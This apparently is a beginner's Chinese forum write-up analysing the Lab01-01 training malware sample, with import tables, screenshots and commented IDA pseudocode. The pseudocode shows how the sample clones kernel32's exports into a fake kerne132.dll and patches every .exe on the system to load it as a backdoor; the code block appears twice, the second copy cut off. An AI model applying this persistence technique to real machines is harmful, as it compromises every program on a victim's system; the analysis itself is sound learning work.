首页
社区
课程
招聘
[原创]新手的恶意代码分析记录(一)_Lab01-01
发表于: 2021-8-17 22:02 7492

[原创]新手的恶意代码分析记录(一)_Lab01-01

2021-8-17 22:02
7492

样本基本信息:

样本名称:Lab01-01.dll

样本大小:163840 bytes

MD5:290934C61DE9176AD682FFDD65F0A669

样本名称:Lab01-01.exe

样本大小:16384 bytes

MD5:5A016FACBCB77E2009A01EA5C67B39AF209C3FCB

使用cff_Explorer 查看样本基本信息

img

img

使用查壳工具die查看,可以看出来,两个程序并没有加壳,并且是使用VC6.0编写的。

img

img

查看 Lab01-01.dll 程序的导入表信息,可以看到该程序主要加载了3个dll

img

KERNEL32.dll:包括操作系统核心功能,如访问和操作内存、文件和硬件等

WS2_32.dll:与网络连接相关

MSVCRT.dll:C语言运行库文件

一些相关的函数

查看Lab01-01.exe程序的导入表信息,可以看到该程序主要加载了2个dll

img

可以看到是用到了大量的与文件操作的函数。

使用火绒剑监控该程序,发现并没有什么异常

img

首先,在https://www.virustotal.com/上可以看到各个反病毒引擎对该文件的扫描过程。

img

img

接下来使用IDA查看Lab01-01.exe这个文件

通过对主函数进行分析,得出如下结论:

1、首先程序会判断程序参数是否正确,如果参数不正确,便会退出程序。如果参数正确,就会继续执行相关函数。所以,该程序的·正确启动方式为:

2、之后的话,该程序会打开两个文件,一个是C:\Windows\System32\Kernel32.dll,另一个是 Lab01-01.dll文件,程序最后会关闭这两个文件,并将现有的Lab01-01.dll 文件复制到 新建的 C:\windows\system32\kerne132.dll 文件中去,故,这里猜想,中间的那段程序代码应该是对 Lab01-01.dll 文件执行了相关操作,具体什么样的操作,后面详细分析。

通过对sub_4011E0函数进行分析,得出如下结论:

1、首先,这个函数是一个文件查找函数,它递归的查找文件系统上的所有文件,当找到一个后缀为exe的可执行程序时,执行sub_4010A0函数。

接下来查看sub_4010A0函数

通过对sub_4010A0函数进行分析,得出如下结论:

1、该函数打开找到的后缀为.exe的可执行程序,然后替换程序中的kernel32.dll字符串为kerne132.dll

通过对Lab01-01.exe初步分析,主要得到了下面的结论与想法:

由于kerne132.dll是通过Lab01-01.dll复制而来,所以,分析Lab01-01.dll至为重要

遗留下来的问题:主函数中对Lab01-01.dll文件究竟进行了什么操作?

接下来使用IDA查看Lab01-01.dll这个文件

对这个DllMain主函数进行分析,得出如下结论:

这个Dll程序大概就分析到这里,总结一下:

通过这个程序,来连接到一个远程主机,主要有两个命令,一个是Sleep,用来睡眠,另一个是用来执行命令,创建新的进程。

通过前面的分析,对这两个程序有了一个比较清楚的认识,接下来使用动态调试工具调试一下。

主要解决刚才遗留下来的一个问题:

在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?

img

0x401813处下断点,查看火绒剑监控到的相关信息

imgimg

img

可以看到有对exe可执行程序修改的痕迹。

使用CFF explorer查看修改后的exe文件信息

img

可以看到,可执行文件在加载DLL时,加载的不再是kernel32.dll,而将会是kerne132.dll ,而这个dll在加载的时候就会执行后门程序。

接下来看一下kerne132.dll 程序

img

img

kerne132.dll 程序多了一些导出函数,这就解决了上面提出的问题:在Lab01-01.exe程序主函数中对Lab01-01.dll文件究竟进行了什么操作?可以看到,在这段操作里,是将kernel32.dll 中的导出节复制到了Lab01-01.dll中去。我们可以看到,它导出了所有kernel32.dll中的导出函数,并且这些函数是经过重定向的,所以不会对其他程序造成影响。所以,在Lab01-01.exe程序主函数中是解析kernel32.dll的导出节,并在Lab01-01.dll中创建一个同样的导出节。

字符串:

WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

kerne132.dll

SADFHUHF

该样本通过新建一个kerne132.dll,并修改系统上的每一个导入kernel32.dll的exe程序,达到执行exe程序时,总会加载恶意代码,达到持久化驻留。可以修改kernel32.dll程序为kerne132.dll程序,保证恶意代码不会被加载。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Kernel32.dll
 
Sleep:暂停当前线程的执行
 
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
 
CreateMutexA:创建或打开命名的或未命名的互斥对象。
 
OpenMutexA:打开现有的命名互斥对象。
 
CloseHandle:关闭打开的对象句柄。
Kernel32.dll
 
Sleep:暂停当前线程的执行
 
CreateProcessA:创建一个新进程及其主线程。新进程在调用进程的安全上下文中运行。
 
CreateMutexA:创建或打开命名的或未命名的互斥对象。
 
OpenMutexA:打开现有的命名互斥对象。
 
CloseHandle:关闭打开的对象句柄。
 
 
Kernel32.dll
 
CloseHandle:关闭打开的对象句柄。
 
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
 
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
 
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
 
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
 
CreateFileA:创建或打开文件或 i/o 设备。
 
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
 
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
 
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
 
CopyFileA:将现有文件复制到新文件。
Kernel32.dll
 
CloseHandle:关闭打开的对象句柄。
 
UnmapViewOfFile:从调用进程的地址空间取消映射文件的映射视图。
 
IsBadReadPtr:验证调用进程是否具有对指定内存范围的读访问权限。
 
MapViewOfFile:将文件映射的视图映射到调用进程的地址空间。
 
CreateFileMappingA:创建或打开指定文件的命名或未命名文件映射对象
 
CreateFileA:创建或打开文件或 i/o 设备。
 
FindClose:关闭由FindFirstFile、 FindFirstFileEx、 FindFirstFileNameW、 FindFirstFileNameTransactedW、 FindFirstFileTransacted、
FindFirstStreamTransactedW或 FindFirstStreamW函数打开的文件搜索句柄 。
 
FindNextFileA:从以前对 FindFirstFile、 FindFirstFileEx 或 FindFirstFileTransacted 函数的调用继续进行文件搜索。
 
FindFirstFileA:在目录中搜索名称与特定名称(如果使用通配符,则为部分名称)匹配的文件或子目录。
 
CopyFileA:将现有文件复制到新文件。
 
 
 
main函数
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  HANDLE v3; // eax
  _DWORD *v4; // esi
  HANDLE v5; // eax
  HANDLE v6; // eax
  const char **v7; // ebp
  _DWORD *v8; // eax
  const char *v9; // esi
  _DWORD *v10; // ebx
  int v11; // ebp
  _DWORD *v12; // eax
  unsigned int v13; // edi
  int v14; // eax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // edi
  char *v19; // ebx
  _DWORD *v20; // eax
  const char **v21; // ecx
  unsigned int v22; // edx
  _DWORD *v23; // ebp
  const char *v24; // edx
  unsigned int v25; // kr08_4
  char *v26; // eax
  char *v27; // ebx
  unsigned int v28; // kr10_4
  bool v29; // cf
  _WORD *v31; // [esp+10h] [ebp-44h]
  unsigned __int16 *v32; // [esp+14h] [ebp-40h]
  _DWORD *v33; // [esp+18h] [ebp-3Ch]
  _DWORD *v34; // [esp+1Ch] [ebp-38h]
  int v35; // [esp+20h] [ebp-34h]
  _DWORD *v36; // [esp+24h] [ebp-30h]
  int v37; // [esp+28h] [ebp-2Ch]
  int i; // [esp+2Ch] [ebp-28h]
  _DWORD *v39; // [esp+30h] [ebp-24h]
  unsigned __int16 *v40; // [esp+34h] [ebp-20h]
  char *v41; // [esp+38h] [ebp-1Ch]
  int v42; // [esp+3Ch] [ebp-18h]
  int v43; // [esp+44h] [ebp-10h]
  int v44; // [esp+48h] [ebp-Ch]
  HANDLE hObject; // [esp+4Ch] [ebp-8h]
  HANDLE v46; // [esp+50h] [ebp-4h]
  int argca; // [esp+58h] [ebp+4h]
  const char **argva; // [esp+5Ch] [ebp+8h]
  const char **argvb; // [esp+5Ch] [ebp+8h]
 
  if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// 参数2:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
  {
    hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// 创建或打开的文件:C:\Windows\System32\Kernel32.dll
    v3 = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
    v4 = MapViewOfFile(v3, 4u, 0, 0, 0);        // 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
    argca = (int)v4;
    v5 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开的文件:Lab01-01.dll
    v46 = v5;
    if ( v5 == (HANDLE)-1 )
      exit(0);
    v6 = CreateFileMappingA(v5, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
    if ( v6 == (HANDLE)-1 )
      exit(0);
    v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间
    argva = v7;
    if ( !v7 )
      exit(0);
    v41 = (char *)v4 + v4[15];
    v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
    v9 = &v7[15][(_DWORD)v7];
    v10 = v8;
    v36 = v8;
    v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
    v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
    v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
    v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
    v13 = *((_DWORD *)v9 + 31);
    v39 = v12;
    v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
    qmemcpy((void *)v11, v10, v13);
    v42 = v14;
    v15 = v10[5];
    *(_DWORD *)(v11 + 20) = v15;
    *(_DWORD *)(v11 + 24) = v10[6];
    *(_DWORD *)(v11 + 12) = v11 + 40 + v14;
    v35 = v11 + 56;
    strcpy((char *)(v11 + 40), "kerne132.dll");
    v16 = *(_DWORD *)(v11 + 20);
    v17 = v11 + 56 + 4 * v16;
    v18 = v11 + 56 + 8 * v16;
    v44 = v17;
    v43 = v18;
    v19 = (char *)(16 * v15 + v11 + 56);
    *(_DWORD *)(v11 + 28) = v11 + 56 + v14;
    *(_DWORD *)(v11 + 36) = v17 + v14;
    *(_DWORD *)(v11 + 32) = v18 + v14;
    v20 = v36;
    v21 = 0;
    v22 = 0;
    argvb = 0;
    for ( i = 0; v22 < v20[5]; ++v34 )
    {
      if ( *v34 )
      {
        v37 = 0;
        if ( v20[6] )
        {
          v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
          v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
          v33 = v39;
          v32 = v40;
          do
          {
            if ( *v32 == v22 )
            {
              v24 = (const char *)sub_401040(*v33, v41, argca);
              strcpy(v19, v24);
              *v31 = (_WORD)argvb;
              *(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
              v25 = strlen(v24) + 1;
              v26 = &v19[v25];
              v27 = &v19[v25 + 9];
              *v23 = &v26[v42];
              *(_DWORD *)v26 = dword_403070;
              *((_DWORD *)v26 + 1) = dword_403074;
              v26[8] = byte_403078;
              strcpy(v27, v24);
              v28 = strlen(v24) + 1;
              v20 = v36;
              argvb = (const char **)((char *)argvb + 1);
              v22 = i;
              v19 = &v27[v28];
              ++v23;
              ++v31;
            }
            ++v32;
            v29 = (unsigned int)++v37 < v20[6];
            ++v33;
          }
          while ( v29 );
          v21 = argvb;
          v18 = v43;
          v17 = v44;
        }
      }
      i = ++v22;
    }
    CloseHandle(hObject);                       // 关闭打开的对象句柄 C:\Windows\System32\Kernel32.dll
    CloseHandle(v46);                           // 关闭打开的对象句柄 Lab01-01.dll
    if ( !CopyFileA(ExistingFileName, NewFileName, 0) )// 将现有文件复制到新文件  Lab01-01.dll ->>  C:\windows\system32\kerne132.dll
      exit(0);
    sub_4011E0(aC, 0);                          // 递归函数 sub_4011E0
  }
  return 0;
}
main函数
 
int __cdecl main(int argc, const char **argv, const char **envp)
{
  HANDLE v3; // eax
  _DWORD *v4; // esi
  HANDLE v5; // eax
  HANDLE v6; // eax
  const char **v7; // ebp
  _DWORD *v8; // eax
  const char *v9; // esi
  _DWORD *v10; // ebx
  int v11; // ebp
  _DWORD *v12; // eax
  unsigned int v13; // edi
  int v14; // eax
  int v15; // ecx
  int v16; // edx
  int v17; // esi
  int v18; // edi
  char *v19; // ebx
  _DWORD *v20; // eax
  const char **v21; // ecx
  unsigned int v22; // edx
  _DWORD *v23; // ebp
  const char *v24; // edx
  unsigned int v25; // kr08_4
  char *v26; // eax
  char *v27; // ebx
  unsigned int v28; // kr10_4
  bool v29; // cf
  _WORD *v31; // [esp+10h] [ebp-44h]
  unsigned __int16 *v32; // [esp+14h] [ebp-40h]
  _DWORD *v33; // [esp+18h] [ebp-3Ch]
  _DWORD *v34; // [esp+1Ch] [ebp-38h]
  int v35; // [esp+20h] [ebp-34h]
  _DWORD *v36; // [esp+24h] [ebp-30h]
  int v37; // [esp+28h] [ebp-2Ch]
  int i; // [esp+2Ch] [ebp-28h]
  _DWORD *v39; // [esp+30h] [ebp-24h]
  unsigned __int16 *v40; // [esp+34h] [ebp-20h]
  char *v41; // [esp+38h] [ebp-1Ch]
  int v42; // [esp+3Ch] [ebp-18h]
  int v43; // [esp+44h] [ebp-10h]
  int v44; // [esp+48h] [ebp-Ch]
  HANDLE hObject; // [esp+4Ch] [ebp-8h]
  HANDLE v46; // [esp+50h] [ebp-4h]
  int argca; // [esp+58h] [ebp+4h]
  const char **argva; // [esp+5Ch] [ebp+8h]
  const char **argvb; // [esp+5Ch] [ebp+8h]
 
  if ( argc == 2 && !strcmp(argv[1], aWarningThisWil) )// 参数2:WARNING_THIS_WILL_DESTROY_YOUR_MACHINE
  {
    hObject = CreateFileA(FileName, 0x80000000, 1u, 0, 3u, 0, 0);// 创建或打开的文件:C:\Windows\System32\Kernel32.dll
    v3 = CreateFileMappingA(hObject, 0, 2u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象 C:\Windows\System32\Kernel32.dll
    v4 = MapViewOfFile(v3, 4u, 0, 0, 0);        // 将文件映射的视图映射到调用进程的地址空间:C:\Windows\System32\Kernel32.dll
    argca = (int)v4;
    v5 = CreateFileA(ExistingFileName, 0x10000000u, 1u, 0, 3u, 0, 0);// 创建或打开的文件:Lab01-01.dll
    v46 = v5;
    if ( v5 == (HANDLE)-1 )
      exit(0);
    v6 = CreateFileMappingA(v5, 0, 4u, 0, 0, 0);// 创建或打开指定文件的命名或未命名文件映射对象
    if ( v6 == (HANDLE)-1 )
      exit(0);
    v7 = (const char **)MapViewOfFile(v6, 0xF001Fu, 0, 0, 0);// 将文件映射的视图映射到调用进程的地址空间
    argva = v7;
    if ( !v7 )
      exit(0);
    v41 = (char *)v4 + v4[15];
    v8 = (_DWORD *)sub_401040(*((_DWORD *)v41 + 30), v41, v4);
    v9 = &v7[15][(_DWORD)v7];
    v10 = v8;
    v36 = v8;
    v11 = sub_401040(*((_DWORD *)v9 + 30), v9, v7);
    v34 = (_DWORD *)sub_401040(v10[7], v41, argca);
    v40 = (unsigned __int16 *)sub_401040(v10[9], v41, argca);
    v12 = (_DWORD *)sub_401040(v10[8], v41, argca);
    v13 = *((_DWORD *)v9 + 31);
    v39 = v12;
    v14 = sub_401070(*((_DWORD *)v9 + 30), v9, argva);
    qmemcpy((void *)v11, v10, v13);
    v42 = v14;
    v15 = v10[5];
    *(_DWORD *)(v11 + 20) = v15;
    *(_DWORD *)(v11 + 24) = v10[6];
    *(_DWORD *)(v11 + 12) = v11 + 40 + v14;
    v35 = v11 + 56;
    strcpy((char *)(v11 + 40), "kerne132.dll");
    v16 = *(_DWORD *)(v11 + 20);
    v17 = v11 + 56 + 4 * v16;
    v18 = v11 + 56 + 8 * v16;
    v44 = v17;
    v43 = v18;
    v19 = (char *)(16 * v15 + v11 + 56);
    *(_DWORD *)(v11 + 28) = v11 + 56 + v14;
    *(_DWORD *)(v11 + 36) = v17 + v14;
    *(_DWORD *)(v11 + 32) = v18 + v14;
    v20 = v36;
    v21 = 0;
    v22 = 0;
    argvb = 0;
    for ( i = 0; v22 < v20[5]; ++v34 )
    {
      if ( *v34 )
      {
        v37 = 0;
        if ( v20[6] )
        {
          v23 = (_DWORD *)(v35 + 4 * (_DWORD)v21);
          v31 = (_WORD *)(v17 + 2 * (_DWORD)v21);
          v33 = v39;
          v32 = v40;
          do
          {
            if ( *v32 == v22 )
            {
              v24 = (const char *)sub_401040(*v33, v41, argca);
              strcpy(v19, v24);
              *v31 = (_WORD)argvb;
              *(_DWORD *)((char *)v23 + v18 - v35) = &v19[v42];
              v25 = strlen(v24) + 1;
              v26 = &v19[v25];
              v27 = &v19[v25 + 9];
              *v23 = &v26[v42];
              *(_DWORD *)v26 = dword_403070;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (1)
游客
登录 | 注册 方可回帖
返回
//